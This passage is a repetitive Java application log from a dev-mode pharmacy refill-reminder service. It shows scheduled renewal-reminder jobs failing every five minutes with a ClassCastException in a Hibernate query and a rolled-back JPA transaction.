org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send 